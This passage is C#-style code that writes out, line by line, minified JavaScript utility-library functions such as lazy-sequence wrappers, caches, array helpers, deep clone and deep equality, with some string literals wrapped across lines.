file.WriteLine(" result.__takeCount__ = this.__takeCount__;");
file.WriteLine(" result.__views__ =
arrayCopy(this.__views__);");
file.WriteLine(" return result;");
file.WriteLine(" }");
file.WriteLine(" function lazyReverse() {");
file.WriteLine(" if (this.__filtered__) {");
file.WriteLine(" var result = new LazyWrapper(this);");
file.WriteLine(" result.__dir__ = -1;");
file.WriteLine(" result.__filtered__ = !0;");
file.WriteLine(" } else {");
file.WriteLine(" result = this.clone();");
file.WriteLine(" result.__dir__ *= -1;");
file.WriteLine(" }");
file.WriteLine(" return result;");
file.WriteLine(" }");
file.WriteLine(" function lazyValue() {");
file.WriteLine(" var array = this.__wrapped__.value(), dir =
this.__dir__, isArr = isArray(array), isRight = dir < 0, arrLength = isArr ?
array.length : 0, view = getView(0, arrLength, this.__views__), start = view.start,
end = view.end, length = end - start, index = isRight ? end : start - 1, iteratees
= this.__iteratees__, iterLength = iteratees.length, resIndex = 0, takeCount =
nativeMin(length, this.__takeCount__);");
file.WriteLine(" if (!isArr || arrLength < LARGE_ARRAY_SIZE ||
arrLength == length && takeCount == length) return baseWrapperValue(isRight &&
isArr ? array.reverse() : array, this.__actions__);");
file.WriteLine(" var result = [];");
file.WriteLine(" outer: for (;length-- && resIndex <
takeCount; ) {");
file.WriteLine(" index += dir;");
file.WriteLine(" for (var iterIndex = -1, value =
array[index]; ++iterIndex < iterLength; ) {");
file.WriteLine(" var data = iteratees[iterIndex],
iteratee = data.iteratee, type = data.type, computed = iteratee(value);");
file.WriteLine(" if (type == LAZY_MAP_FLAG) value =
computed; else if (!computed) if (type == LAZY_FILTER_FLAG) continue outer; else
break outer;");
file.WriteLine(" }");
file.WriteLine(" result[resIndex++] = value;");
file.WriteLine(" }");
file.WriteLine(" return result;");
file.WriteLine(" }");
file.WriteLine(" function MapCache() {");
file.WriteLine(" this.__data__ = {};");
file.WriteLine(" }");
file.WriteLine(" function mapDelete(key) {");
file.WriteLine(" return this.has(key) && delete
this.__data__[key];");
file.WriteLine(" }");
file.WriteLine(" function mapGet(key) {");
file.WriteLine(" return \"__proto__\" == key ? undefined :
this.__data__[key];");
file.WriteLine(" }");
file.WriteLine(" function mapHas(key) {");
file.WriteLine(" return \"__proto__\" != key &&
hasOwnProperty.call(this.__data__, key);");
file.WriteLine(" }");
file.WriteLine(" function mapSet(key, value) {");
file.WriteLine(" if (\"__proto__\" != key) this.__data__[key] =
value;");
file.WriteLine(" return this;");
file.WriteLine(" }");
file.WriteLine(" function SetCache(values) {");
file.WriteLine(" var length = values ? values.length : 0;");
file.WriteLine(" this.data = {");
file.WriteLine(" hash: nativeCreate(null),");
file.WriteLine(" set: new Set()");
file.WriteLine(" };");
file.WriteLine(" for (;length--; ) this.push(values[length]);");
file.WriteLine(" }");
file.WriteLine(" function cacheIndexOf(cache, value) {");
file.WriteLine(" var data = cache.data;");
file.WriteLine(" return (\"string\" == typeof value ||
isObject(value) ? data.set.has(value) : data.hash[value]) ? 0 : -1;");
file.WriteLine(" }");
file.WriteLine(" function cachePush(value) {");
file.WriteLine(" var data = this.data;");
file.WriteLine(" if (\"string\" == typeof value ||
isObject(value)) data.set.add(value); else data.hash[value] = !0;");
file.WriteLine(" }");
file.WriteLine(" function arrayConcat(array, other) {");
file.WriteLine(" for (var index = -1, length = array.length,
othIndex = -1, othLength = other.length, result = Array(length + othLength); +
+index < length; ) result[index] = array[index];");
file.WriteLine(" for (;++othIndex < othLength; ) result[index++]
= other[othIndex];");
file.WriteLine(" return result;");
file.WriteLine(" }");
file.WriteLine(" function arrayCopy(source, array) {");
file.WriteLine(" var index = -1, length = source.length;");
file.WriteLine(" array || (array = Array(length));");
file.WriteLine(" for (;++index < length; ) array[index] =
source[index];");
file.WriteLine(" return array;");
file.WriteLine(" }");
file.WriteLine(" function arrayEach(array, iteratee) {");
file.WriteLine(" for (var index = -1, length = array.length; +
+index < length && !1 !== iteratee(array[index], index, array); ) ;");
file.WriteLine(" return array;");
file.WriteLine(" }");
file.WriteLine(" function arrayEachRight(array, iteratee) {");
file.WriteLine(" for (var length = array.length; length-- && !
1 !== iteratee(array[length], length, array); ) ;");
file.WriteLine(" return array;");
file.WriteLine(" }");
file.WriteLine(" function arrayEvery(array, predicate) {");
file.WriteLine(" for (var index = -1, length = array.length; +
+index < length; ) if (!predicate(array[index], index, array)) return !1;");
file.WriteLine(" return !0;");
file.WriteLine(" }");
file.WriteLine(" function arrayExtremum(array, iteratee, comparator,
exValue) {");
file.WriteLine(" for (var index = -1, length = array.length,
computed = exValue, result = computed; ++index < length; ) {");
file.WriteLine(" var value = array[index], current =
+iteratee(value);");
file.WriteLine(" if (comparator(current, computed)) {");
file.WriteLine(" computed = current;");
file.WriteLine(" result = value;");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" return result;");
file.WriteLine(" }");
file.WriteLine(" function arrayFilter(array, predicate) {");
file.WriteLine(" for (var index = -1, length = array.length,
resIndex = -1, result = []; ++index < length; ) {");
file.WriteLine(" var value = array[index];");
file.WriteLine(" if (predicate(value, index, array))
result[++resIndex] = value;");
file.WriteLine(" }");
file.WriteLine(" return result;");
file.WriteLine(" }");
file.WriteLine(" function arrayMap(array, iteratee) {");
file.WriteLine(" for (var index = -1, length = array.length,
result = Array(length); ++index < length; ) result[index] = iteratee(array[index],
index, array);");
file.WriteLine(" return result;");
file.WriteLine(" }");
file.WriteLine(" function arrayPush(array, values) {");
file.WriteLine(" for (var index = -1, length = values.length,
offset = array.length; ++index < length; ) array[offset + index] =
values[index];");
file.WriteLine(" return array;");
file.WriteLine(" }");
file.WriteLine(" function arrayReduce(array, iteratee, accumulator,
initFromArray) {");
file.WriteLine(" var index = -1, length = array.length;");
file.WriteLine(" if (initFromArray && length) accumulator =
array[++index];");
file.WriteLine(" for (;++index < length; ) accumulator =
iteratee(accumulator, array[index], index, array);");
file.WriteLine(" return accumulator;");
file.WriteLine(" }");
file.WriteLine(" function arrayReduceRight(array, iteratee,
accumulator, initFromArray) {");
file.WriteLine(" var length = array.length;");
file.WriteLine(" if (initFromArray && length) accumulator =
array[--length];");
file.WriteLine(" for (;length--; ) accumulator =
iteratee(accumulator, array[length], length, array);");
file.WriteLine(" return accumulator;");
file.WriteLine(" }");
file.WriteLine(" function arraySome(array, predicate) {");
file.WriteLine(" for (var index = -1, length = array.length; +
+index < length; ) if (predicate(array[index], index, array)) return !0;");
file.WriteLine(" return !1;");
file.WriteLine(" }");
file.WriteLine(" function arraySum(array, iteratee) {");
file.WriteLine(" for (var length = array.length, result = 0;
length--; ) result += +iteratee(array[length]) || 0;");
file.WriteLine(" return result;");
file.WriteLine(" }");
file.WriteLine(" function assignDefaults(objectValue, sourceValue)
{");
file.WriteLine(" return objectValue === undefined ?
sourceValue : objectValue;");
file.WriteLine(" }");
file.WriteLine(" function assignOwnDefaults(objectValue,
sourceValue, key, object) {");
file.WriteLine(" return objectValue === undefined || !
hasOwnProperty.call(object, key) ? sourceValue : objectValue;");
file.WriteLine(" }");
file.WriteLine(" function assignWith(object, source, customizer)
{");
file.WriteLine(" for (var index = -1, props = keys(source),
length = props.length; ++index < length; ) {");
file.WriteLine(" var key = props[index], value =
object[key], result = customizer(value, source[key], key, object, source);");
file.WriteLine(" if ((result === result ? result !== value :
value === value) || value === undefined && !(key in object)) object[key] =
result;");
file.WriteLine(" }");
file.WriteLine(" return object;");
file.WriteLine(" }");
file.WriteLine(" function baseAssign(object, source) {");
file.WriteLine(" return null == source ? object :
baseCopy(source, keys(source), object);");
file.WriteLine(" }");
file.WriteLine(" function baseAt(collection, props) {");
file.WriteLine(" for (var index = -1, isNil = null ==
collection, isArr = !isNil && isArrayLike(collection), length = isArr ?
collection.length : 0, propsLength = props.length, result = Array(propsLength); +
+index < propsLength; ) {");
file.WriteLine(" var key = props[index];");
file.WriteLine(" if (isArr) result[index] = isIndex(key,
length) ? collection[key] : undefined; else result[index] = isNil ? undefined :
collection[key];");
file.WriteLine(" }");
file.WriteLine(" return result;");
file.WriteLine(" }");
file.WriteLine(" function baseCopy(source, props, object) {");
file.WriteLine(" object || (object = {});");
file.WriteLine(" for (var index = -1, length = props.length; +
+index < length; ) {");
file.WriteLine(" var key = props[index];");
file.WriteLine(" object[key] = source[key];");
file.WriteLine(" }");
file.WriteLine(" return object;");
file.WriteLine(" }");
file.WriteLine(" function baseCallback(func, thisArg, argCount) {");
file.WriteLine(" var type = typeof func;");
file.WriteLine(" if (\"function\" == type) return thisArg ===
undefined ? func : bindCallback(func, thisArg, argCount);");
file.WriteLine(" if (null == func) return identity;");
file.WriteLine(" if (\"object\" == type) return
baseMatches(func); else return thisArg === undefined ? property(func) :
baseMatchesProperty(func, thisArg);");
file.WriteLine(" }");
file.WriteLine(" function baseClone(value, isDeep, customizer, key,
object, stackA, stackB) {");
file.WriteLine(" var result;");
file.WriteLine(" if (customizer) result = object ?
customizer(value, key, object) : customizer(value);");
file.WriteLine(" if (result !== undefined) return result;");
file.WriteLine(" if (!isObject(value)) return value;");
file.WriteLine(" var isArr = isArray(value);");
file.WriteLine(" if (isArr) {");
file.WriteLine(" result = initCloneArray(value);");
file.WriteLine(" if (!isDeep) return arrayCopy(value,
result);");
file.WriteLine(" } else {");
file.WriteLine(" var tag = objToString.call(value), isFunc =
tag == funcTag;");
file.WriteLine(" if (tag == objectTag || tag == argsTag ||
isFunc && !object) {");
file.WriteLine(" result = initCloneObject(isFunc ? {} :
value);");
file.WriteLine(" if (!isDeep) return baseAssign(result,
value);");
file.WriteLine(" } else return cloneableTags[tag] ?
initCloneByTag(value, tag, isDeep) : object ? value : {};");
file.WriteLine(" }");
file.WriteLine(" stackA || (stackA = []);");
file.WriteLine(" stackB || (stackB = []);");
file.WriteLine(" for (var length = stackA.length; length--; ) if
(stackA[length] == value) return stackB[length];");
file.WriteLine(" stackA.push(value);");
file.WriteLine(" stackB.push(result);");
file.WriteLine(" (isArr ? arrayEach : baseForOwn)(value,
function(subValue, key) {");
file.WriteLine(" result[key] = baseClone(subValue, isDeep,
customizer, key, value, stackA, stackB);");
file.WriteLine(" });");
file.WriteLine(" return result;");
file.WriteLine(" }");
file.WriteLine(" function baseDelay(func, wait, args) {");
file.WriteLine(" if (\"function\" != typeof func) throw new
TypeError(FUNC_ERROR_TEXT);");
file.WriteLine(" return setTimeout(function() {");
file.WriteLine(" func.apply(undefined, args);");
file.WriteLine(" }, wait);");
file.WriteLine(" }");
file.WriteLine(" function baseDifference(array, values) {");
file.WriteLine(" var length = array ? array.length : 0, result =
[];");
file.WriteLine(" if (!length) return result;");
file.WriteLine(" var index = -1, indexOf = getIndexOf(),
isCommon = indexOf == baseIndexOf, cache = isCommon && values.length >=
LARGE_ARRAY_SIZE ? createCache(values) : null, valuesLength = values.length;");
file.WriteLine(" if (cache) {");
file.WriteLine(" indexOf = cacheIndexOf;");
file.WriteLine(" isCommon = !1;");
file.WriteLine(" values = cache;");
file.WriteLine(" }");
file.WriteLine(" outer: for (;++index < length; ) {");
file.WriteLine(" var value = array[index];");
file.WriteLine(" if (isCommon && value === value) {");
file.WriteLine(" for (var valuesIndex = valuesLength;
valuesIndex--; ) if (values[valuesIndex] === value) continue outer;");
file.WriteLine(" result.push(value);");
file.WriteLine(" } else if (indexOf(values, value, 0) < 0)
result.push(value);");
file.WriteLine(" }");
file.WriteLine(" return result;");
file.WriteLine(" }");
file.WriteLine(" function baseEvery(collection, predicate) {");
file.WriteLine(" var result = !0;");
file.WriteLine(" baseEach(collection, function(value, index,
collection) {");
file.WriteLine(" result = !!predicate(value, index,
collection);");
file.WriteLine(" return result;");
file.WriteLine(" });");
file.WriteLine(" return result;");
file.WriteLine(" }");
file.WriteLine(" function baseExtremum(collection, iteratee,
comparator, exValue) {");
file.WriteLine(" var computed = exValue, result = computed;");
file.WriteLine(" baseEach(collection, function(value, index,
collection) {");
file.WriteLine(" var current = +iteratee(value, index,
collection);");
file.WriteLine(" if (comparator(current, computed) ||
current === exValue && current === result) {");
file.WriteLine(" computed = current;");
file.WriteLine(" result = value;");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" return result;");
file.WriteLine(" }");
file.WriteLine(" function baseFill(array, value, start, end) {");
file.WriteLine(" var length = array.length;");
file.WriteLine(" start = null == start ? 0 : +start || 0;");
file.WriteLine(" if (start < 0) start = -start > length ? 0 :
length + start;");
file.WriteLine(" end = end === undefined || end > length ?
length : +end || 0;");
file.WriteLine(" if (end < 0) end += length;");
file.WriteLine(" length = start > end ? 0 : end >>> 0;");
file.WriteLine(" start >>>= 0;");
file.WriteLine(" for (;start < length; ) array[start++] =
value;");
file.WriteLine(" return array;");
file.WriteLine(" }");
file.WriteLine(" function baseFilter(collection, predicate) {");
file.WriteLine(" var result = [];");
file.WriteLine(" baseEach(collection, function(value, index,
collection) {");
file.WriteLine(" if (predicate(value, index, collection))
result.push(value);");
file.WriteLine(" });");
file.WriteLine(" return result;");
file.WriteLine(" }");
file.WriteLine(" function baseFind(collection, predicate, eachFunc,
retKey) {");
file.WriteLine(" var result;");
file.WriteLine(" eachFunc(collection, function(value, key,
collection) {");
file.WriteLine(" if (predicate(value, key, collection)) {");
file.WriteLine(" result = retKey ? key : value;");
file.WriteLine(" return !1;");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" return result;");
file.WriteLine(" }");
file.WriteLine(" function baseFlatten(array, isDeep, isStrict,
result) {");
file.WriteLine(" result || (result = []);");
file.WriteLine(" for (var index = -1, length = array.length; +
+index < length; ) {");
file.WriteLine(" var value = array[index];");
file.WriteLine(" if (isObjectLike(value) &&
isArrayLike(value) && (isStrict || isArray(value) || isArguments(value))) if
(isDeep) baseFlatten(value, isDeep, isStrict, result); else arrayPush(result,
value); else if (!isStrict) result[result.length] = value;");
file.WriteLine(" }");
file.WriteLine(" return result;");
file.WriteLine(" }");
file.WriteLine(" function baseForIn(object, iteratee) {");
file.WriteLine(" return baseFor(object, iteratee, keysIn);");
file.WriteLine(" }");
file.WriteLine(" function baseForOwn(object, iteratee) {");
file.WriteLine(" return baseFor(object, iteratee, keys);");
file.WriteLine(" }");
file.WriteLine(" function baseForOwnRight(object, iteratee) {");
file.WriteLine(" return baseForRight(object, iteratee, keys);");
file.WriteLine(" }");
file.WriteLine(" function baseFunctions(object, props) {");
file.WriteLine(" for (var index = -1, length = props.length,
resIndex = -1, result = []; ++index < length; ) {");
file.WriteLine(" var key = props[index];");
file.WriteLine(" if (isFunction(object[key])) result[+
+resIndex] = key;");
file.WriteLine(" }");
file.WriteLine(" return result;");
file.WriteLine(" }");
file.WriteLine(" function baseGet(object, path, pathKey) {");
file.WriteLine(" if (null != object) {");
file.WriteLine(" if (pathKey !== undefined && pathKey in
toObject(object)) path = [ pathKey ];");
file.WriteLine(" for (var index = 0, length = path.length;
null != object && index < length; ) object = object[path[index++]];");
file.WriteLine(" return index && index == length ? object :
undefined;");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" function baseIsEqual(value, other, customizer,
isLoose, stackA, stackB) {");
file.WriteLine(" if (value === other) return !0;");
file.WriteLine(" if (null == value || null == other || !
isObject(value) && !isObjectLike(other)) return value !== value && other !== other;
else return baseIsEqualDeep(value, other, baseIsEqual, customizer, isLoose, stackA,
stackB);");
file.WriteLine(" }");
file.WriteLine(" function baseIsEqualDeep(object, other, equalFunc,
customizer, isLoose, stackA, stackB) {");
file.WriteLine(" var objIsArr = isArray(object), othIsArr =
isArray(other), objTag = arrayTag, othTag = arrayTag;");
file.WriteLine(" if (!objIsArr) {");
file.WriteLine(" objTag = objToString.call(object);");
file.WriteLine(" if (objTag == argsTag) objTag = objectTag;
else if (objTag != objectTag) objIsArr = isTypedArray(object);");
file.WriteLine(" }");
file.WriteLine(" if (!othIsArr) {");
file.WriteLine(" othTag = objToString.call(other);");
file.WriteLine(" if (othTag == argsTag) othTag = objectTag;
else if (othTag != objectTag) othIsArr = isTypedArray(other);");
file.WriteLine(" }");
file.WriteLine(" var objIsObj = objTag == objectTag, othIsObj =
othTag == objectTag, isSameTag = objTag == othTag;");
file.WriteLine(" if (isSameTag && !objIsArr && !objIsObj) return
equalByTag(object, other, objTag);");
file.WriteLine(" if (!isLoose) {");
file.WriteLine(" var objIsWrapped = objIsObj &&
hasOwnProperty.call(object, \"__wrapped__\"), othIsWrapped = othIsObj &&
hasOwnProperty.call(other, \"__wrapped__\");");
file.WriteLine(" if (objIsWrapped || othIsWrapped) return
equalFunc(objIsWrapped ? object.value() : object, othIsWrapped ? other.value() :
other, customizer, isLoose, stackA, stackB);");
file.WriteLine(" }");
file.WriteLine(" if (!isSameTag) return !1;");
file.WriteLine(" stackA || (stackA = []);");
file.WriteLine(" stackB || (stackB = []);");
file.WriteLine(" for (var length = stackA.length; length--; ) if
(stackA[length] == object) return stackB[length] == other;");
file.WriteLine(" stackA.push(object);");
file.WriteLine(" stackB.push(other);");
file.WriteLine(" var result = (objIsArr ? equalArrays :
equalObjects)(object, other, equalFunc, customizer, isLoose, stackA, stackB);");
file.WriteLine(" stackA.pop();");
file.WriteLine(" stackB.pop();");
file.WriteLine(" return result;");
file.WriteLine(" }");
file.WriteLine(" function baseIsMatch(object, matchData, customizer)
{");
file.WriteLine(" var index = matchData.length, length = index,
noCustomizer = !customizer;");
file.WriteLine(" if (null == object) return !length;");
file.WriteLine(" object = toObject(object);");
file.WriteLine(" for (;index--; ) {");
file.WriteLine(" var data = matchData[index];");
file.WriteLine(" if (noCustomizer && data[2] ? data[1] !==
object[data[0]] : !(data[0] in object)) return !1;");
file.WriteLine(" }");
file.WriteLine(" for (;++index < length; ) {");
file.WriteLine(" data = matchData[index];");
file.WriteLine(" var key = data[0], objValue = object[key],
srcValue = data[1];");
file.WriteLine(" if (noCustomizer && data[2]) {");
file.WriteLine(" if (objValue === undefined && !(key in
object)) return !1;");
file.WriteLine(" } else {");
file.WriteLine(" var result = customizer ?
customizer(objValue, srcValue, key) : undefined;");
file.WriteLine(" if (!(result === undefined ?
baseIsEqual(srcValue, objValue, customizer, !0) : result)) return !1;");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" return !0;");
file.WriteLine(" }");
file.WriteLine(" function baseMap(collection, iteratee) {");
file.WriteLine(" var index = -1, result =
isArrayLike(collection) ? Array(collection.length) : [];");
file.WriteLine(" baseEach(collection, function(value, key,
collection) {");
file.WriteLine(" result[++index] = iteratee(value, key,
collection);");
file.WriteLine(" });");
file.WriteLine(" return result;");
file.WriteLine(" }");
file.WriteLine(" function baseMatches(source) {");
file.WriteLine(" var matchData = getMatchData(source);");
file.WriteLine(" if (1 == matchData.length && matchData[0][2])
{");
file.WriteLine(" var key = matchData[0][0], value =
matchData[0][1];");
file.WriteLine(" return function(object) {");
file.WriteLine(" if (null == object) return !1; else
return object[key] === value && (value !== undefined || key in
toObject(object));");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" return function(object) {");
file.WriteLine(" return baseIsMatch(object, matchData);");
file.WriteLine(" };");
file.WriteLine(" }")